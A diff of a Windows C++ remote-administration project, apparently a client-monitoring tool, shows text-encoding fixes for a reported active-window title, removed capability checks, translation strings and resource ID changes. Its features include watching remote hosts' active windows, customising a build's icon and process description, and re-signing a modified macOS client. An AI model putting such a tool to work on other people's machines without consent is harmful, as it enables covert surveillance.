int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
|
||||
if (wlen > 1) {
|
||||
std::wstring w(wlen - 1, L'\0');
|
||||
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (u8len > 1) {
|
||||
activeWindowU8.resize(u8len - 1);
|
||||
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
device["activeWindow"] = activeWindowU8;
|
||||
device["activeWindow"] = AnsiToUtf8(activeWindow);
|
||||
device["online"] = true;
|
||||
|
||||
// Add device group to response
|
||||
|
||||
@@ -60,19 +60,4 @@ public:
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否使用 UTF-8 协议字符串编码。
|
||||
// 无此能力位的老客户端:服务端按 CP_ACP(CP936,覆盖 95% 的简中/英语 ASCII 老客户端)解读。
|
||||
bool SupportsUtf8() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持屏幕预览(双击主机时拉缩略图)。
|
||||
bool SupportsScreenPreview() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1171,7 +1171,7 @@ WIN32
|
||||
请选择目录=Language location
|
||||
国际化(&N)=Internationalization
|
||||
语言包目录(&D)=Language Pack Directory
|
||||
请通过\"扩展\"菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
|
||||
请通过“扩展”菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
|
||||
请选择[*.ico]图标文件或输入进程描述!=Please select an [*.ico] icon file or enter a process description!
|
||||
PE 编辑=PE Edit
|
||||
PE 编辑(&R)=PE Edit(&R)
|
||||
@@ -1823,11 +1823,3 @@ IOCP
|
||||
历史目录不存在: %s=History folder not exist: %s
|
||||
无法识别远程主机=Unknown remote machine
|
||||
没有远程历史记录=No remote history
|
||||
算法自适应=Algorithm Adaptive
|
||||
; Build Dialog - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
; 用途: 生成 macOS 客户端成功提示新增的 3 条文案
|
||||
|
||||
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
|
||||
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
|
||||
或手动重签:=Or re-sign manually:
|
||||
|
||||
@@ -1169,7 +1169,7 @@ WIN32
|
||||
请选择目录=請選擇目錄
|
||||
国际化(&N)=國際化
|
||||
语言包目录(&D)=語言包目錄
|
||||
请通过\"扩展\"菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄,以支援多國語言。
|
||||
请通过“扩展”菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄,以支援多國語言。
|
||||
请选择[*.ico]图标文件或输入进程描述!=請選擇[*.ico]圖示檔案或輸入處理程序描述!
|
||||
PE 编辑=PE 編輯
|
||||
PE 编辑(&R)=PE 編輯(&R)
|
||||
@@ -1814,11 +1814,3 @@ IOCP
|
||||
历史目录不存在: %s=历史目录不存在: %s
|
||||
无法识别远程主机=无法识别远程主机
|
||||
没有远程历史记录=没有远程历史记录
|
||||
算法自适应=算法自适应
|
||||
; Build Dialog - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
; 用途: 生成 macOS 客户端成功提示新增的 3 条文案
|
||||
|
||||
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
|
||||
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
|
||||
或手动重签:=或手動重新簽章:
|
||||
|
||||
Binary file not shown.
@@ -248,15 +248,9 @@
|
||||
#define IDB_BITMAP8 369
|
||||
#define IDB_BITMAP_CANCELSHARE 369
|
||||
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
||||
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||
#define IDR_MODERN_TERMINAL 371
|
||||
#define IDB_BITMAP_TRIGGER 372
|
||||
#define IDR_BINARY7 372
|
||||
#define IDR_MACOS_GHOST 372
|
||||
#define IDB_BITMAP_WEBDESKTOP 373
|
||||
#define IDB_BITMAP_PLUGINCONFIG 374
|
||||
#define IDR_LANG_EN_US 380
|
||||
#define IDR_LANG_ZH_TW 381
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -730,13 +724,6 @@
|
||||
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
|
||||
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
||||
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||
#define ID_ONLINE_UPDATE 32772
|
||||
#define ID_ONLINE_MESSAGE 32773
|
||||
#define ID_ONLINE_DELETE 32775
|
||||
@@ -970,14 +957,27 @@
|
||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||
|
||||
// 内嵌语言资源 (RCDATA)
|
||||
// 注意:避免与 IDB_BITMAP_TRIGGER(372) 和 IDB_BITMAP_WEBDESKTOP(373) 冲突
|
||||
#define IDR_LANG_EN_US 380
|
||||
#define IDR_LANG_ZH_TW 381
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 373
|
||||
#define _APS_NEXT_RESOURCE_VALUE 371
|
||||
#define _APS_NEXT_COMMAND_VALUE 33048
|
||||
#define _APS_NEXT_CONTROL_VALUE 2539
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
|
||||
@@ -101,7 +101,6 @@
|
||||
#define WM_SHOWNOTIFY WM_USER+3031
|
||||
#define WM_DISCONNECT WM_USER+3032
|
||||
#define WM_OPENTERMINALDIALOG WM_USER+3033
|
||||
#define WM_PREVIEW_RESPONSE WM_USER+3034
|
||||
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
|
||||
Reference in New Issue
Block a user